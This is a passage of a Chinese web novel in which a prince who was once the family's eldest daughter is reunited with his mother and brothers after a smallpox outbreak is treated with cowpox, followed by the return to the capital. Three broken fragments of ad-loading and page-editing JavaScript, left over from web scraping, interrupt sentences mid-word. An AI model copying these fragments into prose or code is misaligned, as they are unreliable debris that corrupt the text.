那些种了牛痘的那些人起初胳膊上出现了些许溃烂,引起了很大的骚动。 那些人还以为自己要被害死了,其他人也叫嚣着牛痘是害人的东西,费了很大的力气才把暴乱压了下去。 但没过几日,那些溃烂的地方便逐渐好了。 而与此同时,那些人天花的症状也开始减轻。 众人这才知道牛痘也许真的有用。 为了保证这些种了牛痘的人能够康复,整个皋阳的药材都紧着他们先用,如今总算是见到了成效。 那些原本叫嚷的人顿时没了话说,其他病患见天花真的能好转,也纷纷争抢着要种痘。 由此,城里的药材就更不够用了。 大夫们急得嘴上起泡。 可管疫病的药材太稀罕了,如今又要得急,哪是容易就能凑到的? 大家盼星星盼月亮,终于在七日后,盼来了一整个装满药材的商队。 得知商队到来的消息后,萧怀琳吩咐下官们去迎接,而自己则回了一趟府邸。 晌午时分,苏若琳还没有睡醒。 这些日子她干盼着纨岚那小子什么时候能回来,茶不思饭不想,夜夜失眠,直到黎明时分才将将睡着。 萧怀琳走进内间,止了丫鬟们行礼,悄悄地来到了心上人的榻前。 他的若琳明显地瘦了许多,也憔悴了,看得人忧心。 他不由得问向身侧的青夭:“夫人这几日没有好好休息吗?” “回王爷,夫人已经连续几日如此了,不仅吃不下饭,也睡不好觉。”青夭的眼底也同样布满了担忧,“夫人不想打扰王爷办正事,因此不准许奴婢声张。” 萧怀琳有些疲惫地揉了揉眉心,他这些时日也是太忙了,都没能顾得上自己的心上人。 话音方落,榻上熟睡的人儿略微皱了皱眉,似是被吵醒了,而后缓缓睁开了眼睛。 入目是少年郎放大的俊脸,与那眉目间快要满溢出来的心疼。 “......怀琳?”苏若琳微微张口,声音有些发涩。 青夭忙递了杯水过来。 萧怀琳扶心上人缓缓坐起,而后将茶杯举到她的唇前,亲手喂心上人喝水。 一杯温水入喉,干涩的喉咙这才好受了些。 苏若琳仍旧有些迷糊,睡眼惺忪地看着面前的少年郎:“你怎么有空来了?” 少年郎轻轻叹了口气:“我若是不来,你还要茶饭不思到什么时候?” 苏若琳低下头,小声抗议道:“你不是说,纨岚四五日便能来吗?” 那日她自己亲自下厨炒了几道菜,难得盐没多放火没开大,做得还算成功,结果等了一天没见到人影。 她最后只好把那桌菜倒掉,那日她也一口饭没吃。 “是我的错了。”萧怀琳将心上人的娇躯拥入怀里,温声细语地哄道,“那他今日来了,你要去看看吗?” 心上人顿时抬起头,不可思议地看着他。 他不由得轻笑,在心上人的额头落下轻轻一吻:“我在外边等你。” 苏若琳匆忙抓了抓自己炸毛的头发,立马掀开被子下榻:“青夭,快,给我梳头!” 萧怀琳在外间等了片刻,一盏茶的功夫还没到,苏若琳已经赶了出来。 心上人径直夺过他手里的茶杯,牵起他的手就要往外边走:“快出去!” “药汁喝了没?”萧怀琳连忙把她扯了回来。 自然是没有的。 随后她又被少年郎按着喝了药,又往身上涂满药汁,这才把人放了出去。 苏若琳一路上都趴在车窗边朝外张望,她今日还特意抹了脂粉,盖住那副憔悴的面容,又往脸上涂了一点腮红,才显得气色好了许多:“纨岚到底在哪呢?” 萧怀琳含笑望着映在阳光下熠熠生辉的心上人,那一双凤目之中满是宠溺:“就快了。” 马车在马场前缓缓停下,苏若琳急忙掀开门帘,差点从马车上栽下去。 萧怀琳及时抓住了她的手腕,心有余悸道:“慢一点,人不会跑的。” 如今马场外边还停着许多运货的车,许多人卸了车上的货搬去院子里,放下货物又从院子里出来,皋阳城内已经许久没有这么热闹过了。 苏若琳看着四周停着的车,这次运来的货可真多啊。 她接过萧怀琳递过来的麻布,娴熟地捂住口鼻,随后便跟着后者走进院子。 此时院子里已经堆满了药材,有三个身材高挑的少年郎站在院子中央,正在谈论着什么,另有下官在一旁执笔记录。 忽得,似乎是说到了什么颇为有趣的事情,其中一个少年郎开口大笑了起来,而另外两个则露出颇为无奈的样子。 苏若琳的眼眶渐渐地泛红了。 她有多久没听见纨岚这小子的笑声了? 那小子整天没心没肺的,最是爱笑,整个一小机灵鬼。 这个有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 趣的事情似乎太过好笑了,少年郎笑得前仰后合,根本停不下来,他对面的两个兄长一抬眸,刚好看到了匆匆而来的苏若琳和萧怀琳。 杨纨玦拍了拍笑个不停的杨纨岚,后者才缓了许久,才堪堪缓了过来,抬手擦掉眼角笑出的眼泪:“所以我觉......” 话音未落,他的身后便响起了当头一喝:“杨纨岚!” 吓得这小子一个机灵。 杨纨岚连忙转过身,便见到一个绝色女子正气势汹汹地站在他面前,那女子眉眼倾城,然而眼角却闪烁着泪意,直勾勾地看着他,就连遮在脸颊上的麻布逐渐松开了都浑然不觉。 麻布险些掉落下来,身后的萧怀琳连忙给她重新拉好。 苏若琳看着阔别已久的儿子,声音逐渐哽咽了起来:“你还知道回来?” “母,母亲!” 见到母亲居然要哭,杨纨岚直接就被吓坏了,手足无措地伸出手,想要安慰母亲,却又不知怎么开口。 杨纨枫上前来,毫不客气地照着亲弟弟的脑袋狠狠地敲了一下。 “嗷——!”杨纨岚抱着头嚎叫,“母亲!二哥打我!” “该!”苏若琳那双饱含泪水的眼眸狠狠地瞪了他一眼。 末了,她才拉过杨纨岚的手,把他从头到脚都细细打量了一番。 这小子已经比她高半个头了,和纨枫如今的身量也差不多。 这两兄弟打小一起长大,年岁什么的都差不多,身量自然也就相像,远远地望过去,都能以为是双胞胎。 模样和临走时还是差不多的,只是眉眼都长开了,皮肤稍微晒黑了些,不过还是和从前一样的漂亮。 肩膀也更加得宽阔了,人也看着也比从前壮了些。 被她握着的这只手也变得比从前更糙了,手心长了不少茧子,也不知道这小子走南闯北这一年都吃了多少苦头。 杨纨岚任由母亲握着他的手,将他仔细地瞧来瞧去,笑意盈盈地看着母亲,那一双好看的桃花眼弯成了月牙的形状。 “母亲,我回来啦!” 见儿子还是和以前一样的没心没肺,苏若琳眼中的泪意才缓缓平息了几分,她倒是想把这小子揪着耳朵揍一顿,却又不忍心,最后不轻不重地推搡了儿子一把:“你这混小子,你知道自己多久没给家里写信了吗!” 杨纨岚仍旧是那副笑眯眯的模样,被母亲推了一把也不生气,闷在麻布下的声音带着几分欢快:“儿子在外边遇到了好多有趣的事呢!待会慢慢给您说!” 话落,后边的萧怀琳顺势道:“这里不是说话的地方,跟我回府用午膳吧。” 他说着,伸出手轻轻地搭在心上人的肩上,温声道:“纨岚刚回来,我吩咐后厨多做几个菜,咱们给纨岚接风洗尘。” 为了看这小子一眼,他的若琳刚醒就赶过来了,今日还一口饭都没吃呢。 “王爷?”杨纨岚有些诧异地看着萧怀琳。 他知王爷平素待他宽容和善,许是因着爱才之心和他外祖苏家的关系,给属下接风洗尘倒也说得过去,只是...... 怎么看王爷这样子,好像和母亲还有两个兄长都挺熟的? 他愣愣地看着王爷搭在母亲肩膀处的手,这,这好像不仅仅是熟啊,这有点太熟了吧?! 只是他的母亲和兄长们却似乎已经习以为常了,此时听到萧怀琳这么说,苏若琳轻哼了一声,看着自己的三儿子:“回头慢慢找你算账。” 而后便转过身扬长而去。 萧怀琳随即跟上心上人的脚步,杨纨枫用和母亲同样的眼神瞪了弟弟一眼,也跟着走了。 最后是杨纨玦拍了一下弟弟的头:“想什么呢?吃饭去了!” 杨纨岚这才回过神来,他疑惑地看着身旁的兄长:“不是,大哥,王爷和咱家混这么熟了?” 杨纨玦却意味不明地笑了笑,拍了拍自家弟弟的肩膀,语重心长道:“以后可以改口了,叫我二哥。” 134. 中秋节 二,二哥?什么意思? “那你要是二哥,那我算老几啊?”杨纨岚连忙追上兄长的步伐。 “老四。”杨纨玦的声音并没有多么大的起伏。 “啊?”杨纨岚傻眼了。 乖乖,他怎么出门一趟,回来直接降了个齿序啊? “那原本的老大变成谁了?” 他们的齿序往后降,那就肯定有人往上升了啊。 难不成他们那个便宜爹还在外边有个私生子? 只是这次杨纨玦却没有回答,他无声地看向前方不远处的萧怀琳,那被麻布遮盖住的脸上露出了意味不明的笑容:“你待会就知道了。” “我现在不能知道吗?”杨纨岚很是奇怪。 他还在原大哥现二哥的身边叽叽喳喳个不停,把自己各种奇怪的推测都列举了一遍,什么两个兄长背着他在外边桃园三结义认了个大哥,亦或者有哪个原本早夭的兄长被遗忘了,如今才想起来......等等,一个比一个离谱。 到最后,他甚至语出惊人道:“难道母亲改嫁了?又领了个继子回来?” 此言一出,他面前的杨纨玦差点平地摔跤。 前方的杨纨枫停下了脚步,回头瞪了自家弟弟一眼。 若非苏若琳和萧怀琳已经遥遥走在了前面,没有听见这小子的胡言乱语,肯定还得回来再收拾这小子一顿。 杨纨玦无奈地看着性子向来跳脱的原老三现老四:“你啊就别瞎猜了,很快就能知道了。” “很快是多快啊?”杨纨岚就没有静下来的时候。 “你能不能稳重一点?”杨纨枫轻声呵斥道,“离家闯荡一年都没能磨一磨你的性子!” 杨纨岚只好挠了挠头,委屈地闭上了嘴。 “快走吧。”杨纨玦看着前方母亲和大哥越来越远的背影,催促了一声。 杨纨枫指着更远处停在路边的马车,看向自家弟弟:“看见那辆马车了没?” 杨纨岚点了点头:“那辆马车怎么了?” “等你到了那辆马车前边,就能知道你为什么变成老四了。”杨纨枫淡淡道。 “真的?!”杨纨岚惊异地瞪大双眸,“这么神奇?!” “那我去了!”他说着就朝着那辆马车撒腿狂奔而去,边跑还边回头张望,“大哥二......不对,二哥三哥你们也快来啊!” 苏若琳和萧怀琳还在前方说着话,忽地一阵劲风从苏若琳右侧刮了过来,萧怀琳连忙和她调换位置,警惕地看向那自身后而来的袭击。 随后,就看到一个蒙着面的少年郎冲了过来。 少年郎虽然用麻布捂住了脸,然而那一双炯炯有神的桃花眼却映在阳光下璀璨夺目,恰如他向来活泼的性子。 “母亲,王爷!”杨纨岚冲他们招了招手。 “你慢点!”苏若琳不禁皱眉喊了一声,末了又无奈地叹了口气,“这孩子。” 怎么性子还是这么野。 萧怀琳含笑望着自家四弟远去的背影:“纨岚还是这么有活力。” 从前在侯府的时候,这小子就是这么上蹿下跳的,上树摘桃、爬墙根底下的狗洞,就没有他做不出来的事情。 如今再见到这小子活力四射的样子,他仿佛真得还回到了当年的侯府,跟着母亲走在路上,两个弟弟也在不远处,似乎一切都没有变。 真是令人怀念啊。 萧怀琳的心中感慨万分,然而杨纨岚却还被蒙在鼓里,他兴冲冲地来到道边,一把扯下原本遮在脸上的麻布,扶着面前的马车开始喘气。 捂着鼻子跑步真难受。 约莫片刻,这小子好不容易缓了回来,连忙抬起头环顾四周。 不是说等来了这,就能知道他为什么从老三变成老四了吗? 现在他来了,怎么没有给他解释的人呢? 连个有提示的物件也没有啊! 杨纨岚左右张望着,原本坐在马车前驾车的侍卫不禁问道:“三公子,您在找什么,需要小的帮忙吗?” 侍卫话音刚落,便见到自家王爷和苏小姐迎面走来,连忙下车行礼:“王爷,苏小姐。” “我找我家老大。”杨纨岚说着回过头,看向王爷和母亲,“母亲和王爷你们说,那个大......” 他刚一回过头,萧怀琳和苏若琳刚好也扯下脸上的麻布,顿时,那一张温润如玉而又无比熟悉的脸映在了杨纨岚的眼中。 “大,大,大......大姐?!”杨纨岚惊得后退了半步,恰好身后有块碎石,他一脚踩在了石头上,直接就往后摔了过去。 杨纨岚登时惨叫了一声:“哎哟!” “纨岚!”苏若琳连忙紧张地上前扶起儿子,“你这孩子,说了让你稳着点,这都多大了,还不让人省心!” 好在是屁股着地,没摔到后脑勺,不然磕傻了可怎么办! 杨纨岚被母亲扶了起来,看向萧怀琳的神情和牛一样呆滞。 这时杨纨玦和杨纨枫也来到了,前者上前拍了拍他那张漂亮的脸蛋,笑道:“回神了。” “不,不是......”杨纨岚崩溃道,“我大姐变成了大哥啦!” 他想了一万种可能性,这种还真没想到啊! 杨纨岚猛地想起和王爷在兴洲城初次见面的时候,那时候王爷的脸上一直戴着一副银色面具,他当时还以为王爷在战场上被划伤了脸破相了,现在看来,不会是故意戴上面具不让自己认出来吧! 杨纨枫似笑非笑地看着自家弟弟:“惊喜么?” “我......”杨纨岚心有余悸地咽了口唾沫,“我觉得我有点惊吓。” 他缓缓来到萧怀琳的面前,只不过是躲在了萧怀琳面前的苏若琳身后。 杨纨岚像个看见生人的小孩一样躲在母亲身后,然后偷偷地探出头来,瞪着好奇的眼眸打量着面前人:“所以......你真是我大姐,杨婉枝?” “如假包换。”萧怀琳的笑容中带着一丝暖意。 杨纨岚还想再说什么,杨纨枫直接揪着他的衣领,把他从母亲身后薅了出来:“你多大个人了,还往母亲身后藏?” 杨纨玦在边上添油加醋:“纨绫去年都不这么干了。” “啊啊啊!”杨纨岚张牙舞爪地挣脱三哥的禁锢,看向萧怀琳的表情仍旧难以置信,“所以,所以大姐,啊不是,大哥你......是怎么变成宁安王的啊?” 话音未落,他的头就传来一阵剧痛。 “嗷!”杨纨岚抱头惨叫,“哥你又打我!” “八个多月没见了,你就这么欺负你弟弟我,我要离家出走!” 杨纨枫白了他一眼,头一次觉得这小子定是曾经让他百般护着,都惯得脑子不好了。 不该问的别问,不知道吗? 他揉了揉打疼的右手,面无表情道:“那你走吧,把你的齿序踢出去,正好纨绫还是小四。” “别啊!”杨纨岚连忙道。 苏若琳被这群吵吵嚷嚷的小伙子闹得头疼,又是怜爱又是心烦,径直转身上了马车。 萧怀琳见状,连忙道:“先跟我回府吧,纨岚日夜兼程赶路,想必也饿了,等用膳的时候边吃边聊也不迟。” 于是兄弟四个纷纷上了马车。 杨纨岚看着自己的原大姐新大哥居然转身上了母亲的那辆马车,脸上露出了疑惑的神情。 大哥不来和他们坐一起吗? 他们几个都老大不小了,虽说母子之间倒也不必避嫌...... 他这般想着,但随后就被二哥拽上了另一辆马车。 “别愣神了。” 杨纨岚摇了摇头,想着兴许是大哥觉得四个人坐一辆马车太挤了,所以才去和母亲坐一起的吧。 他很快将这微不足道的细节抛之脑后,重新热络地和两个兄长攀谈了起来。 杨纨岚虽然性子跳脱,但是心思亦是玲珑剔透的,很多事他不去深想,只是因为他不愿深想。 譬如现在,他绝不愿,也根本不会去怀疑自己的家人。 而且...... 很遗憾,虽然杨纨岚也很聪明,但是在他的三个兄长面前,尤其是在他的大哥和三哥面前,他那点小心思还不够看。 因此这傻小子和母亲兄长们去了大哥的府邸,从用完午 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 膳,又聊了会家常,最后直到出府,他也没能知道为什么他的大姐变成大哥,为什么安定侯府的大小姐变成了宁安王。 相反,他表面上行商作画,暗地里却作为萧怀琳密探的事,被他的母亲和两个兄长挖了个精光。 苏若琳知晓了自己的四儿子居然在做这么危险的事,差点没背过气去。 她又仔仔细细地把杨纨岚再检查了一遍,确定没有受什么太大的伤,这才作罢。 “母亲您放心啦,我是负责传递消息的,又不是上战场。”杨纨岚笑着挠了挠自己的脑袋。 杨纨枫悠悠道:“从叛党手里打听消息,然后想方设法把消息送到大哥手里,这可不比上战场安全到哪去。” 杨纨玦跟着添油加醋:“胳膊腿的看起来是没疤,没准身上早就不知道受过多少次致命伤了。” 萧怀琳笑而不语。 “真没有!”杨纨岚激动地从椅子上蹦起来,幽怨地看着两个落井下石的兄长,“你俩是故意的吧!” 他说着来到苏若琳跟前蹲了下来,抱着母亲的腿委屈道:“母亲,二哥和三哥欺负我!” 苏若琳直勾勾地看着腿边的四儿子:“所以你到底有没有受伤?” “我真没有!”杨纨岚更委屈了,一双好看的桃花眼里逐渐闪烁出泪花。 见到儿子都委屈得要哭了,做母亲的心哪里还硬得起来呢?苏若琳揉了揉儿子的发顶,无奈又心疼地叹了口气。 “好了好了,我相信你,起来吧。” 她这四个儿子真是走两极,纨玦和纨枫向来听话,让她省心。 杨纨岚和萧怀琳这俩混蛋就不一样了,这俩玩意是专门来克她的。 “只是听你俩说的,既然如今叛党都已经伏诛,那你应当不会再去做这么危险的事了吧?”苏若琳这般说着,又看了萧怀琳一眼,似乎是在向他这个顶头上司求证。 萧怀琳轻咳了一声:“自然是不会了。” 要是他还敢让纨岚去冒这个险,他的心上人怕是今晚就能剥了他的皮...... 听到了自己想要的答复,苏若琳满意地点了点头,又看向四儿子:“所以你以后还有什么打算,是还想着出去闯荡,还是以后就在家里待着?” 但是别管什么打算,这小子必须得在家里先待上三个多月,待到过年以后再说。 闻言,杨纨岚笑嘻嘻地看向萧怀琳:“我回家!” 他的大哥可是许诺了他官位呢。 原先他还想着王爷身份尊贵,定然一言九鼎,不会食言。 如今嘛,那就更不可能食言了。 杨纨枫注意到了自家弟弟的神情,他略微挑眉:“怎么,不继续出去浪了?” “不去了。”杨纨岚摇了摇头,那一张妍丽的脸蛋虽然在笑,眼中却闪烁着晦暗不明的神色。 他外出经商,游历天下一年,见惯了人世坎坷,百姓的流离悲苦。 他从前以为,外祖家被誉为仁商,那他经营着商队定然也能接济百姓、造福百姓。 但是后来他发现,他错了。 并且大错特错。 他就算散尽千金家财去接济百姓,只要庸官贪官的一句话,这些钱永远也保不住。 他真得想要造福百姓,最后还是得做官。 这般想着,杨纨岚缓缓抬起头,一双秀丽的桃花眼中满是坚定:“我出门的这些日子里,赚了很多钱,也画了很多好看的画,不过如今外面的风景我都看够了,也就不用再出门啦!” “对了母亲,你还不知道呢!我画的画现在可有名了,一幅能卖到好多钱呢!”杨纨岚说着,骄傲地拍了拍自己的胸膛,“现在外边的人可是都管我叫大师!” “知道知道,怀玉大师对吧?”苏若琳含笑道,“可给你牛坏了。” “那必须的!”杨纨岚笑得明媚灿烂。 “鼻子快翘到天上去了。”杨纨枫悠悠道。 “哥!!!” 众人哄笑成一团。 今夜的夜空中挂着的是圆月,皎洁的月光屋外的院子里,可与屋内明亮的灯火平分秋色。 今日是中秋节啊。 135. 归京 杨纨岚来到皋阳城,带来了诸多药材和物资,缓解了皋阳的燃眉之急。 没过几日,第一批接种牛痘的人痊愈了,尽管落下了满脸的麻子,但是能够活下来,比什么都重要。 痊愈的那些人被从疫区带出来后,痛哭流涕地跪在萧怀琳等人面前,朝他们重重地磕了一个头。 牛痘之法也被大夫和文人们纷纷记录了下来,著书立传,流传于世。 而提出牛痘的苏若琳本人,则在后世越来越飘渺的传说之中,逐渐被神化成了天女。 楚朝两代天子昏庸无道,致山河破碎,天灾降临,幸得天女降世,赐牛痘,治天花。 恰逢楚渊帝即位,平乱世,镇朝纲,天子与天女喜结连理,开楚朝盛世。 当然,这都是后话了。 而如今,既然已经证实牛痘之法可用,而皋阳现如今人力物力皆充裕,官民齐心,治愈皋阳城内的天花指日可待,萧怀琳他们也就没有必要继续呆下去了。 部分军医和朝中派下来的太医自愿留下,待皋阳彻底恢复再回京复命,萧怀琳欣然应允。 而其余人,自然是启程归京了。 回京的路途很快的。 致归京时,已经是九月了。 望着昌华大街上夹道相迎的百姓们,苏若琳觉得有些恍惚。 他们是六月份离京的,当初离京时,这条街道上的诸多商铺还大门紧闭着,看着总有些萧条。 而如今阔别三月归来,街道两旁人声鼎沸,热闹非凡,一派兴盛景象。 萧怀琳策马行在队伍前方,副将韩龙和三个弟弟跟随其后。 先前萧怀琳带兵离京时,不是坐在马车里,就是脸上戴着面具,看不真切面容。 而如今,他摘下了面具坐于马上,那挺拔的英姿和俊俏的容貌顿时俘获了无数名门贵女的芳心。 “那,那位就是宁安王殿下吗!” “王爷长相竟如此英俊!” “王爷如今还没有娶妻呢!” “天啊!待到王爷继位后选秀,我一定要入宫做王爷的嫔妃!” “我不和你们争,我要嫁给杨家二公子,杨二公子此番跟随王爷西征大功一件,日后必定高官厚禄,青云直上,我要做杨二公子的正妻!” 途径的无数少女尖叫着,纷纷朝心仪的儿郎抛下手中的帕子。 韩龙看了看身旁的王爷和杨家三兄弟一眼,默默地轻拉缰绳,和这四个年轻帅哥保持距离。 杨纨玦瞥见他的异样,挑眉问道:“怎么了?” 韩龙悠悠地叹了口气:“我长得凶,和你们搁一块有点煞风景,我还是离远些吧。” 杨纨玦:...... 随你。 “话说我真是挺纳闷的。”韩龙见他把头正了回去,忙又问道,“你们家的血脉怎么这么好,兄弟三人个个长得英姿斐然,哎,那你们家有没有待字闺中的姐妹啊?” 杨纨玦不想理他,没有答话。 倒是杨纨岚凑过来,兴冲冲道:“有有有!我们还有个妹妹,今年十岁!” “啊?十岁?!”韩龙连忙摆手,“那算了,那年纪差得太大了,不合适不合适。” “你还想怎么合适?”韩纨玦剐了他一眼。 还敢肖想他妹妹,怕不是疯了。 韩龙干笑了一声,便听得萧怀琳的侍卫过来传话:“王爷有言,等过了这条街,诸位就可以散了,若有要事,可再去宁安王府拜会。” “另,王爷于明日在王府设茶,意款待安定侯府三位公子,问三位公子是否得空?” 三兄弟互相看了一眼,杨纨岚兴奋道:“得空得空!” 领到答复,侍卫在马上行了一礼,便回去复命了。 很快,萧怀琳收到复命,略微一颔首。 登基大典定于三日后,其实朝中诸位大臣原定的是今日就举行登基大典,待他凯旋归来当日,走过昌华大街,自午门入宫,一路径直行入太极殿,接受百官拜贺,祭祀天地,登基为帝。 只不过被萧怀琳否决了。 新帝登基里有一项,是登基过后分封诸王,赏赐列臣。 他刚回京,还没想好具体要怎么封官,若是现在就登基,那些朝中的官位定然是他们已经定好的。 这帮老狐狸,以为自己出征西伐的时候愿意把权放出去,就是好拿捏的软柿子了么? 不过封官一事,他确实要好好考虑。 三月前的京城一战,许多大臣死的死,伤的伤,朝中的职位空了许多,他临走时还没来得及处理。 再者,还有些新帝的旧党自然也不能留在朝中。 啧......这么多事。 做皇帝真麻烦。 可是若是不能做天下之主,那么他和他的心上人就真的没机会了...... 这般想着,他不禁回过头,看看心上人的马车是否还在后面。 马车没有了。 他们已经行出昌华大街,苏若琳和三兄弟早已经拐弯回府了。 萧怀琳回过头叹了口气,眼底闪过一丝落寞。 安定侯府,如今已经没有他的位子了。 这时,青夭策马赶到他的身后:“禀王爷,夫人和三位少爷已经离开了。” 话落,她顿了顿,拿出一个包袱递上前:“这是夫人让奴婢带给您的。” 萧怀琳闻言回过神,伸出手接过那个包袱。 他打开包袱,里面赫然躺着数个的首饰盒子,正是他还是杨婉枝的时候,他的心上人送给他的那些。 当初火势那么大,这些东西......居然没有被烧掉么? 他打开其中一个盒子,里面躺着一对镂空的纯金蝴蝶步摇,在阳光下交相辉映着,煞是好看。 为,为什么是两支...... 萧怀琳的心在刹那间收紧了,他有些颤抖着伸出手,匆忙打开余下的盒子,把整个包袱都翻了个遍。 没有他送给心上人的那个翡翠镯子。 他这才缓缓松了口气。 他的若琳没有和他恩断义绝。 萧怀琳低着头,目光忽地瞥见了自己腰间戴着的香囊。 鸳鸯香囊和他常穿的墨蓝色衣服十分映衬,因着用的是月光织的料子,如今那香囊正闪烁着细碎的微光。 他轻轻握住那个墨蓝色的香囊,又长又密的睫毛微微颤动,已然在心里做好了一个决定。 安定侯府里没有他的位子,但是他会让这个家,给他一个位子的。 · 等到苏若琳和三兄弟回到安定侯府时,侯府众人早已在大门前等候多时了。 众人远远地看到三个骑在马背上的少年引着后面的马车缓缓而来,纷纷激动地欢呼:“来了!夫人和少爷们都回来了!” 等到马车在侯府的门前停稳,绿俏赶忙把脚凳垫到马车下边,红烛则上前掀开马车的门帘,搀扶着苏若琳下了马车。 人才刚落地,秋姨娘便泪眼朦胧地过来抱住了她:“妾身盼星星盼月亮,可算是把夫人平安盼回来了!” 苏若琳拍了拍秋姨娘的背,笑道:“别哭啊,我这不是好好的吗。” 秋姨娘这才抬起头哽咽道:“幸亏夫人您好好的,不然妾身也没法活了!” “你这话说的,多不吉利!”苏若琳忙转移话题,“你不去看看纨玦吗?” “他翅膀那么硬,有个什么三长两短也是活该的!”秋姨娘这般说着,还是去了儿子面前,把儿子上下检查了一遍。 杨纨绫被杨婉莹牵着刚走过来,见到母亲,连忙撒开姐姐的手,跑到苏若琳的跟前抱住了母亲的大腿:“母亲!纨绫好想你!” “母亲也想纨绫!”苏若琳连忙把儿子抱了起来,在怀里一颠,乐了,“哟,沉了!” “也高了!”杨纨绫撅起嘴抗议。 众人都笑了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 钱氏笑着上前来:“夫人果然是福大命大的!” 秋姨娘擦干眼泪附和:“可不是嘛!夫人这般有福气的人,定然是能寿比南山的!” “好了好了,你们这说得我都要找不着北了。”苏若琳笑道,若是能一直这么有钱下去,寿比南山也确实不错,“咱们快别在门口站着了,快些进府吧!” “对对对!”秋姨娘忙道,“妾身这实在是太高兴了,都忘了这茬了。” “咱们呀快些进去,妾身已经在碧波厅备好了饭菜,就等着给夫人和少爷们接风洗尘了!” 苏若琳和三兄弟在众人的簇拥下进了府。 至宴会时,苏若琳看着满桌丰盛的菜肴,感动得老泪纵横。 天知道她这几个月行军赶路都过的是什么日子啊! 穿和用也就罢了,她在这方面没那么计较,唯独除了吃,她是真得苦啊! 杨纨绫闹着要坐在她旁边,不停地往她碗里夹菜,一边夹菜一边道:“母亲你尝尝这个,这个特别好吃!” 秋姨娘笑道:“纨绫都三个月不见母亲了,这会子亲热得不行呢!” “纨绫知道,母亲这次回来以后,肯定不会再离开了!”杨纨绫笑得很开心,“那个王爷真的信守承诺了,三个月就把母亲还回来啦!” 苏若琳宠溺地揉了揉小儿子的头,闻言,不由得想到了萧怀琳。 那小子......怕不是自己一个人待在王府里呢? 她环顾四周热热闹闹的厅堂,一想到那孩子孤孤零零的一个人,心里逐渐泛起了苦涩。 那孩子从小到大就没吃过几顿团圆饭,离家四年,怕是在外面更吃不好了。 她这般想着,面前美味的菜肴也吃不下了,不由得放下碗筷,眼眶逐渐开始泛红。 秋姨娘见状,不由得诧异道:“夫人您怎么了?” 怎么好像要哭? 杨纨绫连忙伸出小肉手给母亲擦眼泪:“母亲不哭不哭!” “啊......我没事!”苏若琳勉强露出一个笑容,声音中却无可避免地带了一丝鼻音,“就是,感觉现在这样真好。” 闻言,众人就都笑了。 秋姨娘含笑道:“现在这才哪跟哪呢,纨玦纨枫他俩往后肯定官做得越来越大,咱们还会越来越好的!” “还有我呢!”杨纨岚举起手,“我也会封官的!” “你封什么官呀?”秋姨娘打趣道,“纨玦和纨枫可是都在殿试拿了好名次,你也要继续科举吗?” “姨娘这你就不知道了!”杨纨岚的脸上露出了高深莫测的表情,故作神秘道,“反正姨娘你就瞧好吧!我将来肯定也能封个大官!” 对此,知情的几个人倒是没有作声。 纨岚身为怀琳的密探,定然也是能封官的,也许会封个监察御史之类的? 秋姨娘知道这小子鬼点子多,但是也不清楚他有什么鬼主意,最后笑道:“那好,那姨娘就瞧好咯!” 安定侯府今夜全府上下都喜气洋洋的,彼时在宁安王府,青夭刚被罚了二十大板,拖着身体勉强来到萧怀琳面前跪下。 而跪在她身旁的,是那个被陈姨娘替换的荷莲。 听到跪地的声音,萧怀琳低头抿了一口奶茶,未曾分给两人一个眼神。 片刻后,有侍卫来回报:“禀王爷,陈姨娘的院子里没有任何可疑物件。” 萧怀琳这才抬起头来看向跪在地上的两个丫鬟。 那两个暗器老王爷也未曾外传过,想来那个陈姨娘只是碰巧捡了个漏罢了。 “知道自己犯了什么错?”他淡淡道,声音无悲无喜。 “奴婢知错。”即便身上有伤,两个训练有素的丫鬟依旧跪得笔直。 “嗯,下去吧。” 待到所有人都退下后,他仰头看着夜空中皎洁的月亮,温润如玉的脸上露出了一个黯淡的微笑。 今夜,家里定然会很热闹吧。 136. 池亭相会 翌日午后,一辆雕梁画栋、气派非凡的马车在宁安王府门前缓缓停下。 随后,三个衣着华贵的俊俏儿郎,还有一个穿着祥云绣文衣服的小奶团子一起下了马车。 小奶团子的脚才刚一落地,就“哒哒哒”地跑过来,牵起三哥的手,兴奋地看着面前金碧辉煌的大门上横着的赤金牌匾,上面用苍劲有力的字体写着四个字——宁安王府。 “这座府邸比咱们家还要大!” 杨纨岚薅了一把弟弟的小脑袋瓜,躬身把他抱起来,笑道:“你还没进去呢,怎么知道大不大?” 杨纨绫不满地撅起小嘴:“我就是知道!” 彼时宁安王府的管事已经在大门后边等候多时了,此时听到外边的声音,连忙让守门把门打开,笑眯眯道:“可是安定侯府的三位公子?” 只是当他看清人时,却不由得一愣。 怎么是四个人?还有个小娃娃? 而那个小娃娃一听管事说的是“三位”,顿时脸上也露出不满的神情,在兄长怀里叉腰道:“是四位!” 他也是安定侯府的公子啊!四公子! 杨纨枫的脸上露出无奈的笑容。 昨夜团圆饭时,他们跟母亲说了今日要来宁安王府拜会,结果被这小子听到了,说什么也要跟着一起来。 不过凭他们和大哥的关系,临时带个孩子应当也没什么。 杨纨玦同样笑了笑,走上前对管事道:“我们兄弟四人一同来拜会王爷,若有必要可以先向王爷通传一声,我们在门外等候片刻也是。” 闻言,管事连忙摆手:“这怎么行呢!王爷亲口吩咐了,几位是贵客,在门外等着怎么行!” 管事眼珠子转了转,思索着,面前的三位可是王爷千叮咛万嘱咐的贵客,别说是亲弟弟,就算是随便带着个小孩子来,王爷应当也不会说什么的。 想到此,管事连忙露出一个恭敬的笑容:“诸位公子快请进!” 杨纨玦略微颔首,示意身后的下人把将东西递了上去:“这是我们家姨娘亲手做的糕点,还有自家种的番茄和番椒,望王爷笑纳。” 姨娘做的糕点,和自,自家种的番茄番椒? 管事呆呆地看着那盒糕点,想着安定侯府送的礼真是不同凡响,异域果子是自家种的,糕点还是姨娘亲手做的。 真够实在的...... 只是想归想,面上管事自然是不敢说什么,他笑眯眯地让下人把东西接过来,随后再恭敬得把四位公子请进府里,带着他们一路去了后花园。 此时的后花园内,萧怀琳正坐在池边的一座亭子里,桌上摆放着四套黑釉珍瓷茶具,他正将下人新送来的羊奶倒入茶壶之中,和壶中已经泡好的龙井混合勾兑。 末了,又拿起几块冰糖,放入茶壶之中。 “是奶茶!”杨纨绫用小鼻子猛吸了一口气,折腾着从三哥怀里下来。 